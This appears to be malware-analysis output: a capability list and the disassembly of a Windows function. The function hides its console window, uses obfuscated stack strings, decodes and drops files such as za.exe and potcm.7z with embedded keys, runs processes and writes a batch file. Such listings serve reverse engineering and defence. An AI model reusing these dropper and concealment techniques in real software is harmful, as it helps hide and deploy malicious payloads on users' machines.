Function at 0x1400088b0
Capabilities:
Contain obfuscated stackstrings
Create thread
Hide graphical window

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x668]
sub rsp, 0x740
mov qword [rbp + 0x370], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x1402f1140]
xor rax, rsp
mov qword [rbp + 0x630], rax
mov dword [rbp + 0x548], ecx
xor eax, eax
mov qword [rbp + 0x5b8], rax
mov qword [rbp + 0x5c0], rax
mov r9d, 0x50c06
mov r8, rdx
lea rdx, [rbp + 0x548]
lea rcx, [rbp + 0x5b8]
call fcn.1400462e0
nop
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
mov qword [rbp + 0x3d8], rax
lea rcx, [rbp + 0x3d8]
call fcn.140007bd0
nop
mov rax, qword [rbp + 0x3d8]
cmp dword [rax + 4], 0
jne 0x140008a09
mov qword [rbp + 0x270], 2
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x278], xmm0
lea r14, str.default
mov qword [rbp + 0x288], r14
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x270]
call fcn.14000f950
mov rbx, rax
or rdi, 0xffffffffffffffff
mov r8d, edi
lea rdx, str.Could_not_retrieve_temp_path.
lea rcx, [rbp - 0x48]
call fcn.140004060
nop
mov rdx, rax
mov rcx, qword [rbx]
call fcn.14002a980
nop
mov rcx, qword [rbp - 0x48]
mov eax, dword [rcx]
test eax, eax
je 0x1400089d7
cmp eax, edi
je 0x1400089e5
mov eax, edi
lock xadd dword [rcx], eax
add eax, edi
setne al
test al, al
jne 0x1400089e5
mov rcx, qword [rbp - 0x48]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x1400089f6
mov dl, 0x20
call fcn.14002aa00
nop
lea rcx, [rbp + 0x128]
call fcn.140022ff0
mov ebx, edi
jmp 0x14000b666
xor eax, eax
mov qword [rbp + 0x4b8], rax
lea rcx, [rsp + 0x40]
call fcn.140028160
movzx r8d, word [rax]
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp - 0x40]
call fcn.140005670
nop
lea r8, str.pobus.exe
mov rdx, rax
lea rcx, [rbp + 0x4b8]
call fcn.140005730
nop
mov rcx, qword [rbp - 0x40]
mov eax, dword [rcx]
or rdi, 0xffffffffffffffff
test eax, eax
je 0x140008a6d
cmp eax, edi
je 0x140008a7b
mov eax, edi
lock xadd dword [rcx], eax
add eax, edi
setne al
test al, al
jne 0x140008a7b
mov rcx, qword [rbp - 0x40]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
lea rcx, [rbp + 0x4b8]
call fcn.140007770
xor esi, esi
xorps xmm0, xmm0
lea r14, str.default
test al, al
je 0x140008b39
mov qword [rbp + 0x290], 2
movdqu xmmword [rbp + 0x298], xmm0
mov qword [rbp + 0x2a8], r14
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x290]
call fcn.14000f950
mov rbx, rax
mov r8d, edi
lea rdx, str.Folder_created_and_permissions_set_successfully.
lea rcx, [rbp - 0x38]
call fcn.140004060
nop
mov rdx, rax
mov rcx, qword [rbx]
call fcn.14002a980
nop
mov rcx, qword [rbp - 0x38]
mov eax, dword [rcx]
test eax, eax
je 0x140008b0e
cmp eax, 0xffffffff
je 0x140008b1c
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140008b1c
mov rcx, qword [rbp - 0x38]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x140008b2d
mov dl, 0x20
call fcn.14002aa00
nop
lea rcx, [rbp + 0x110]
jmp 0x140008bd2
mov qword [rbp + 0x2b0], 2
movdqu xmmword [rbp + 0x2b8], xmm0
mov qword [rbp + 0x2c8], r14
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x2b0]
call fcn.14000f950
mov rbx, rax
mov r8d, edi
lea rdx, str.Failed_to_create_folder_or_set_permissions.
lea rcx, [rbp - 0x30]
call fcn.140004060
nop
mov rdx, rax
mov rcx, qword [rbx]
call fcn.14002a980
nop
mov rcx, qword [rbp - 0x30]
mov eax, dword [rcx]
test eax, eax
je 0x140008bac
cmp eax, 0xffffffff
je 0x140008bba
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140008bba
mov rcx, qword [rbp - 0x30]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x140008bcb
mov dl, 0x20
call fcn.14002aa00
nop
lea rcx, [rbp + 0x108]
call fcn.140022ff0
xor eax, eax
mov qword [rbp + 0x4c0], rax
lea rcx, [rbp + 0x4c0]
call fcn.1400075e0
nop
lea rbx, [0x140172000]
mov qword [rbp + 0x378], rbx
xor eax, eax
mov qword [rbp + 0x4b0], rax
lea rcx, [rbp + 0x4b0]
call fcn.140028690
nop
lea r8, [0x1402bba48]
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp - 0x20]
call fcn.140005730
nop
lea r8, [rbp + 0x4c0]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.140005610
mov rdx, rax
lea rcx, [rbp + 0x378]
call fcn.1400167d0
mov rcx, qword [rbp - 0x60]
mov eax, dword [rcx]
test eax, eax
je 0x140008c6e
cmp eax, 0xffffffff
je 0x140008c7d
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140008c7d
mov rcx, qword [rbp - 0x60]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp - 0x20]
mov eax, dword [rcx]
test eax, eax
je 0x140008ca0
cmp eax, 0xffffffff
je 0x140008cae
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140008cae
mov rcx, qword [rbp - 0x20]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
mov qword [rsp + 0x58], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0xc0]
call fcn.1400248d0
nop
lea rdx, [rbp + 0x378]
mov rcx, rax
call fcn.140027460
nop
lea rcx, [rbp + 0xc0]
call fcn.140024e20
nop
mov rcx, qword [rsp + 0x58]
mov eax, dword [rcx]
test eax, eax
je 0x140008d07
cmp eax, 0xffffffff
je 0x140008d15
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140008d15
mov rcx, qword [rsp + 0x58]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
xor eax, eax
mov qword [rbp + 0x4c8], rax
lea edx, [rax + 7]
lea rcx, str.KVJ.jpg
call fcn.14001a7e0
mov qword [rbp + 0x4c8], rax
xor eax, eax
mov qword [rbp + 0x3e0], rax
lea r8, [0x1402bba48]
lea rdx, [rbp + 0x378]
lea rcx, [rbp - 0x18]
call fcn.140005730
nop
lea r8, [rbp + 0x4c8]
mov rdx, rax
lea rcx, [rbp + 0x3e0]
call fcn.140005610
nop
mov rcx, qword [rbp - 0x18]
mov eax, dword [rcx]
test eax, eax
je 0x140008d8f
cmp eax, 0xffffffff
je 0x140008d9d
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140008d9d
mov rcx, qword [rbp - 0x18]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
xor eax, eax
mov qword [rbp + 0x4d0], rax
lea r8d, [rax + 0x10]
lea rdx, str.VdUXraOOQgCjyKst
lea rcx, [rbp + 0x4d0]
call fcn.14002d750
nop
mov dword [rsp + 0x20], 6
lea r9, [0x141474d78]
lea r8, [0x140b19800]
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x3e0]
call fcn.140008300
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0x598]
call fcn.14000e540
nop
mov ecx, 0x28
call fcn.14010a1a4
mov r15, rax
lea rbx, [rax + 8]
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rsi
cmp qword [rbx + 0x18], 0x10
jb 0x140008e24
mov rax, qword [rbx]
jmp 0x140008e27
mov rax, rbx
mov byte [rax], 0
lea rax, [rbp + 0x398]
mov qword [r15], rax
lea rax, [rbp + 0x598]
cmp rbx, rax
je 0x140008e55
mov r9, rdi
xor r8d, r8d
lea rdx, [rbp + 0x598]
mov rcx, rbx
call fcn.14000b910
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
mov r9, r15
lea r8, [0x1400075a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x140008e85
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140008f3d
mov qword [rbp + 0x2d0], 2
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x2d8], xmm0
mov qword [rbp + 0x2e8], r14
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x2d0]
call fcn.14000f890
mov r12, rax
mov r8d, edi
lea rdx, [0x1402bbbc8]
lea rcx, [rbp - 0x10]
call fcn.140004060
nop
mov rdx, rax
mov rcx, qword [r12]
call fcn.14002a980
nop
mov rcx, qword [rbp - 0x10]
mov eax, dword [rcx]
test eax, eax
je 0x140008efc
cmp eax, 0xffffffff
je 0x140008f0a
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140008f0a
mov rcx, qword [rbp - 0x10]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
mov rcx, qword [r12]
cmp byte [rcx + 0x20], 0
je 0x140008f1c
mov dl, 0x20
call fcn.14002aa00
nop
lea rcx, [rbp + 0x120]
call fcn.140022ff0
mov rcx, rbx
call fcn.14000b730
mov edx, 0x28
mov rcx, r15
call fcn.14010a1e0
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140007e00]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov qword [rbp + 0x4d8], rax
lea rdx, str.ProgramData
lea rcx, [rbp + 0x4d8]
call fcn.1400311e0
nop
xor eax, eax
mov qword [rbp + 0x4e0], rax
lea edx, [rax + 6]
lea rcx, str.za.exe
call fcn.14001a7e0
mov qword [rbp + 0x4e0], rax
xor eax, eax
mov qword [rbp + 0x3a0], rax
lea r8, [0x1402bba48]
lea rdx, [rbp + 0x378]
lea rcx, [rbp - 0x50]
call fcn.140005730
nop
lea r8, [rbp + 0x4e0]
mov rdx, rax
lea rcx, [rbp + 0x3a0]
call fcn.140005610
nop
mov rcx, qword [rbp - 0x50]
mov eax, dword [rcx]
test eax, eax
je 0x140009009
cmp eax, 0xffffffff
je 0x140009017
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140009017
mov rcx, qword [rbp - 0x50]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
xor eax, eax
mov qword [rbp + 0x390], rax
lea rdx, [rbp + 0x4d8]
lea rcx, [rbp - 0x78]
call fcn.1400052b0
nop
mov r9, qword [rax]
mov r8d, dword [r9 + 4]
mov rcx, qword [r9 + 0x10]
mov edx, esi
add rcx, r9
je 0x140009062
test r8d, r8d
je 0x140009062
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
je 0x140009062
inc edx
cmp edx, r8d
jb 0x140009050
mov rcx, qword [r9 + 0x10]
add rcx, r9
call fcn.14001a7e0
mov qword [rbp + 0x390], rax
mov rcx, qword [rbp - 0x78]
mov eax, dword [rcx]
test eax, eax
je 0x140009098
cmp eax, 0xffffffff
je 0x1400090a6
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x1400090a6
mov rcx, qword [rbp - 0x78]
mov edx, 1
lea r8d, [rdx + 7]
call fcn.14002cd80
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x540], rax
mov ecx, dword [rax]
inc ecx
cmp ecx, 1
jbe 0x1400090c0
lock inc dword [rax]
xor eax, eax
mov qword [rbp + 0x4e8], rax
lea r8d, [rax + 0x10]
lea rdx, str.90Uu5yVcDbcj0hCm
lea rcx, [rbp + 0x4e8]
call fcn.14002d750
nop
xor eax, eax
mov qword [rbp + 0x510], rax
mov r8d, 0x23ef50
lea rdx, [0x140b868e0]
lea rcx, [rbp + 0x510]
call fcn.14002d750
nop
mov dword [rsp + 0x20], 7
lea r9, [0x141474e40]
lea r8, [0x1402ff770]
lea rdx, [rbp + 0x4e8]
lea rcx, [rbp + 0x540]
call fcn.140008300
xor eax, eax
mov qword [rbp + 0x4f0], rax
lea edx, [rax + 8]
lea rcx, str.potcm.7z
call fcn.14001a7e0
mov qword [rbp + 0x4f0], rax
xor eax, eax
mov qword [rbp + 0x3e8], rax
lea r8, [0x1402bba48]
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x18]
call fcn.140005730
nop
lea r8, [rbp + 0x4f0]
mov rdx, rax
lea rcx, [rbp + 0x3e8]
call fcn.140005610
nop
mov rcx, qword [rbp + 0x18]
mov eax, dword [rcx]
test eax, eax
je 0x1400091a7
cmp eax, 0xffffffff
je 0x1400091b5
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x1400091b5
mov rcx, qword [rbp + 0x18]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x518], rax
mov ecx, dword [rax]
inc ecx
cmp ecx, 1
jbe 0x1400091cf
lock inc dword [rax]
xor eax, eax
mov qword [rbp + 0x4f8], rax
lea r8d, [rax + 0x10]
lea rdx, str.pmuDeiA2yBETxXfT
lea rcx, [rbp + 0x4f8]
call fcn.14002d750
nop
mov r15d, 0x20
mov dword [rsp + 0x20], r15d
lea r9, [0x141474dc0]
lea r8, [0x1402ff670]
lea rdx, [rbp + 0x4f8]
lea rcx, [rbp + 0x518]
call fcn.140008300
xor eax, eax
mov qword [rbp + 0x500], rax
mov qword [rbp + 0x508], rax
xor edx, edx
lea rcx, [rbp + 0x500]
call fcn.140036fd0
nop
lea r12, [0x140172078]
mov qword [rbp + 0x380], r12
lea edx, [r15 - 0x1e]
lea rcx, [0x1402bbc24]
call fcn.14001a7e0
mov qword [rbp - 0x80], rax
lea edx, [r15 - 0x13]
lea rcx, str._pAb123456789
call fcn.14001a7e0
mov qword [rsp + 0x48], rax
lea edx, [r15 - 0x1f]
lea rcx, [0x1402bbc0c]
call fcn.14001a7e0
mov qword [rsp + 0x50], rax
lea r8, [rbp + 0x390]
lea rcx, [rbp + 0x10]
call fcn.1400057d0
mov rbx, rax
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x380]
call fcn.14000c140
lea rdx, [rbp + 0x3e8]
lea rcx, [rbp + 0x380]
call fcn.14000c140
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x380]
call fcn.14000c140
mov rdx, rbx
lea rcx, [rbp + 0x380]
call fcn.14000c140
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x380]
call fcn.14000c140
nop
mov rcx, qword [rbp + 0x10]
mov eax, dword [rcx]
test eax, eax
je 0x140009312
cmp eax, 0xffffffff
je 0x140009321
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140009321
mov rcx, qword [rbp + 0x10]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx]
test eax, eax
je 0x140009346
cmp eax, 0xffffffff
je 0x140009355
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140009355
mov rcx, qword [rsp + 0x50]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx]
test eax, eax
je 0x14000937a
cmp eax, 0xffffffff
je 0x140009389
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140009389
mov rcx, qword [rsp + 0x48]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp - 0x80]
mov eax, dword [rcx]
test eax, eax
je 0x1400093ac
cmp eax, 0xffffffff
je 0x1400093ba
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x1400093ba
mov rcx, qword [rbp - 0x80]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
mov dword [rbp + 0x88], 3
mov r9d, 3
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x500]
call fcn.140038fd0
mov edx, 0x7530
lea rcx, [rbp + 0x500]
call fcn.140039c30
lea rcx, [rbp + 0x500]
test al, al
jne 0x140009510
lea rdx, [rbp]
call fcn.140034a70
mov r15, rax
mov qword [rbp + 0x2f0], 2
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x2f8], xmm0
mov qword [rbp + 0x308], r14
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x2f0]
call fcn.14000f950
mov rbx, rax
mov r8d, edi
lea rdx, str.Error_during_process_execution:
lea rcx, [rbp + 8]
call fcn.140004060
nop
mov rdx, rax
mov rcx, qword [rbx]
call fcn.14002a980
nop
mov rcx, qword [rbp + 8]
mov eax, dword [rcx]
test eax, eax
je 0x140009486
cmp eax, 0xffffffff
je 0x140009494
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140009494
mov rcx, qword [rbp + 8]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x1400094a4
mov dl, 0x20
call fcn.14002aa00
mov rcx, qword [r15]
mov r8d, dword [rcx + 4]
mov rdx, qword [rcx + 0x10]
add rdx, rcx
mov rcx, rbx
call fcn.140023300
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x1400094cb
mov dl, 0x20
call fcn.14002aa00
nop
lea rcx, [rbp + 0x118]
call fcn.140022ff0
nop
mov rcx, qword [rbp]
mov eax, dword [rcx]
test eax, eax
je 0x1400094fb
cmp eax, 0xffffffff
je 0x140009509
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140009509
mov rcx, qword [rbp]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
mov ebx, edi
jmp 0x14000b1be
lea rdx, [rbp - 8]
call fcn.140038a40
nop
mov r9, qword [rax]
mov r8d, dword [r9 + 4]
mov rcx, qword [r9 + 0x10]
mov edx, esi
add rcx, r9
je 0x140009543
test r8d, r8d
je 0x140009543
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
je 0x140009543
inc edx
cmp edx, r8d
jb 0x140009531
mov rcx, qword [r9 + 0x10]
add rcx, r9
call fcn.14001a7e0
mov qword [rbp + 0x520], rax
mov rcx, qword [rbp - 8]
mov eax, dword [rcx]
test eax, eax
je 0x140009579
cmp eax, 0xffffffff
je 0x140009587
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140009587
mov rcx, qword [rbp - 8]
mov edx, 1
lea r8d, [rdx + 7]
call fcn.14002cd80
mov qword [rbp + 0x310], 2
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x318], xmm0
mov qword [rbp + 0x328], r14
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x310]
call fcn.14000f950
mov rbx, rax
mov r8d, edi
lea rdx, str.Process_output:
lea rcx, [rbp - 0x28]
call fcn.140004060
nop
mov rdx, rax
mov rcx, qword [rbx]
call fcn.14002a980
nop
mov rcx, qword [rbp - 0x28]
mov eax, dword [rcx]
test eax, eax
je 0x1400095fd
cmp eax, 0xffffffff
je 0x14000960b
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000960b
mov rcx, qword [rbp - 0x28]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x14000961b
mov dl, 0x20
call fcn.14002aa00
mov rax, qword [rbp + 0x520]
mov r8d, dword [rax + 4]
mov rdx, qword [rax + 0x10]
add rdx, rax
mov rcx, rbx
call fcn.140023300
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x140009646
mov dl, 0x20
call fcn.14002aa00
nop
lea rcx, [rbp + 0xc8]
call fcn.140022ff0
lea rcx, [rbp + 0x500]
call fcn.140037e50
movdqa xmm0, xmmword [0x1402bc2b0]
movdqu xmmword [rbp + 0x618], xmm0
mov word [rbp + 0x628], 0x70
xor eax, eax
mov qword [rbp + 0x3b8], rax
lea rax, [rbp + 0x618]
mov rdx, rdi
nop word [rax + rax]
inc rdx
cmp byte [rax + rdx], 0
jne 0x140009690
lea rcx, [rbp + 0x618]
call fcn.14001a7e0
mov qword [rbp + 0x3b8], rax
mov word [rsp + 0x42], r15w
mov r8d, 1
movzx edx, r15w
lea rcx, [rbp + 0x3b8]
call fcn.14001e270
mov rdx, rax
lea rcx, [rbp + 0x3b8]
call fcn.1400167d0
xor eax, eax
mov qword [rbp + 0x450], rax
lea r8, [rbp + 0x3b8]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x450]
call fcn.140005610
nop
xor eax, eax
mov qword [rbp + 0x570], rax
mov qword [rbp + 0x578], rax
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x570]
call fcn.140012b10
nop
mov dword [rbp + 0x8c], 0x12
mov edx, 0x12
lea rcx, [rbp + 0x570]
call fcn.140013580
test al, al
je 0x140009861
xor eax, eax
mov qword [rbp + 0x588], rax
mov qword [rbp + 0x590], rax
lea rdx, [rbp + 0x570]
lea rcx, [rbp + 0x588]
call fcn.14002a630
nop
xor eax, eax
mov qword [rbp + 0x3a8], rax
lea edx, [rax + 0x7f]
lea rcx, str.sP_DPhMyaxBwyLb7Wmcqw
call fcn.14001a7e0
mov qword [rbp + 0x3a8], rax
mov word [rsp + 0x44], r15w
mov r8d, 1
movzx edx, r15w
lea rcx, [rbp + 0x3a8]
call fcn.14001e270
mov rdx, rax
lea rcx, [rbp + 0x3a8]
call fcn.1400167d0
lea rdx, [rbp + 0x3a8]
lea rcx, [rbp + 0x588]
call fcn.14002a980
lea rcx, [rbp + 0x570]
call fcn.140032210
mov qword [rbp + 0x330], 2
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x338], xmm0
mov qword [rbp + 0x348], r14
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x330]
call fcn.14000f950
nop
lea rdx, str.File_written_successfully.
mov rcx, rax
call fcn.140004120
nop
lea rcx, [rbp + 0xd0]
call fcn.140022ff0
nop
mov rcx, qword [rbp + 0x3a8]
mov eax, dword [rcx]
test eax, eax
je 0x140009846
cmp eax, 0xffffffff
je 0x140009855
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140009855
mov rcx, qword [rbp + 0x3a8]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
lea rcx, [rbp + 0x588]
call fcn.14002a830
movdqa xmm0, xmmword [0x1402bc250]
movdqu xmmword [rbp + 0x600], xmm0
mov word [rbp + 0x610], 0x6578
mov byte [rbp + 0x612], 0
mov dword [rbp + 0x5d8], 0x746f702f
mov dword [rbp + 0x5dc], 0x722f6d63
mov dword [rbp + 0x5e0], 0x622e6765
mov word [rbp + 0x5e4], 0x7461
mov byte [rbp + 0x5e6], 0
xor eax, eax
mov qword [rbp + 0x458], rax
lea rax, [rbp + 0x600]
mov rdx, rdi
inc rdx
cmp byte [rax + rdx], 0
jne 0x1400098c2
lea rcx, [rbp + 0x600]
call fcn.14001a7e0
mov qword [rbp + 0x458], rax
xor eax, eax
mov qword [rbp + 0x460], rax
lea rax, [rbp + 0x5d8]
mov rdx, rdi
inc rdx
cmp byte [rax + rdx], 0
jne 0x1400098f1
lea rcx, [rbp + 0x5d8]
call fcn.14001a7e0
mov qword [rbp + 0x460], rax
xor eax, eax
mov qword [rbp + 0x468], rax
lea r8, [rbp + 0x458]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x468]
call fcn.140005610
nop
xor eax, eax
mov qword [rbp + 0x478], rax
lea r8, [rbp + 0x460]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x478]
call fcn.140005610
nop
mov edx, 2
lea rcx, [0x1402bbcfc]
call fcn.14001a7e0
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x38], r12
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x38]
call fcn.14000c140
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x468]
call fcn.140039710
nop
mov rdx, qword [rsp + 0x38]
mov eax, dword [rdx]
test eax, eax
je 0x1400099b6
cmp eax, 0xffffffff
je 0x1400099c1
mov eax, edi
lock xadd dword [rdx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x1400099c1
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x38]
call fcn.140005110
nop
mov rcx, qword [rsp + 0x68]
mov eax, dword [rcx]
test eax, eax
je 0x1400099e6
cmp eax, 0xffffffff
je 0x1400099f4
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x1400099f4
mov rcx, qword [rsp + 0x68]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
lea rcx, [rbp + 0x478]
call fcn.140039350
xor eax, eax
mov qword [rbp + 0x3f0], rax
lea rcx, [rbp + 0x3f0]
call fcn.1400080b0
nop
xor eax, eax
mov qword [rbp + 0x3b0], rax
mov dl, 1
lea rcx, [rbp + 0x3b0]
call fcn.14000c740
nop
xor eax, eax
mov qword [rbp + 0x480], rax
xor edx, edx
lea rcx, [rbp + 0x480]
call fcn.14000c740
nop
mov qword [rbp + 0x350], 2
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x358], xmm0
mov qword [rbp + 0x368], r14
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x350]
call fcn.14000f950
mov rbx, rax
mov r8d, edi
lea rdx, str.Program_Files__64_bit_:
lea rcx, [rbp - 0x58]
call fcn.140004060
nop
mov rdx, rax
mov rcx, qword [rbx]
call fcn.14002a980
nop
mov rcx, qword [rbp - 0x58]
mov eax, dword [rcx]
test eax, eax
je 0x140009abc
cmp eax, 0xffffffff
je 0x140009aca
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140009aca
mov rcx, qword [rbp - 0x58]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x140009ada
mov dl, 0x20
call fcn.14002aa00
mov rax, qword [rbp + 0x3b0]
mov r8d, dword [rax + 4]
mov rdx, qword [rax + 0x10]
add rdx, rax
mov rcx, rbx
call fcn.140023300
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x140009b05
mov dl, 0x20
call fcn.14002aa00
nop
lea rcx, [rbp + 0xd8]
call fcn.140022ff0
mov qword [rbp + 0x130], 2
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], r14
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x130]
call fcn.14000f950
mov rbx, rax
mov r8d, edi
lea rdx, str.Program_Files__32_bit_:
lea rcx, [rbp - 0x68]
call fcn.140004060
nop
mov rdx, rax
mov rcx, qword [rbx]
call fcn.14002a980
nop
mov rcx, qword [rbp - 0x68]
mov eax, dword [rcx]
test eax, eax
je 0x140009b87
cmp eax, 0xffffffff
je 0x140009b95
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140009b95
mov rcx, qword [rbp - 0x68]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x140009ba5
mov dl, 0x20
call fcn.14002aa00
mov rax, qword [rbp + 0x480]
mov r8d, dword [rax + 4]
mov rdx, qword [rax + 0x10]
add rdx, rax
mov rcx, rbx
call fcn.140023300
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x140009bd0
mov dl, 0x20
call fcn.14002aa00
nop
lea rcx, [rbp + 0xe0]
call fcn.140022ff0
xor eax, eax
mov qword [rbp + 0x3c8], rax
lea rcx, [rbp + 0x3c8]
call fcn.14000ca10
nop
mov qword [rbp + 0x150], 2
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r14
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x150]
call fcn.14000f950
mov rbx, rax
mov r8d, edi
lea rdx, str.ProgramData:
lea rcx, [rbp + 0x28]
call fcn.140004060
nop
mov rdx, rax
mov rcx, qword [rbx]
call fcn.14002a980
nop
mov rcx, qword [rbp + 0x28]
mov eax, dword [rcx]
test eax, eax
je 0x140009c68
cmp eax, 0xffffffff
je 0x140009c76
mov eax, edi
lock xadd dword [rcx], eax
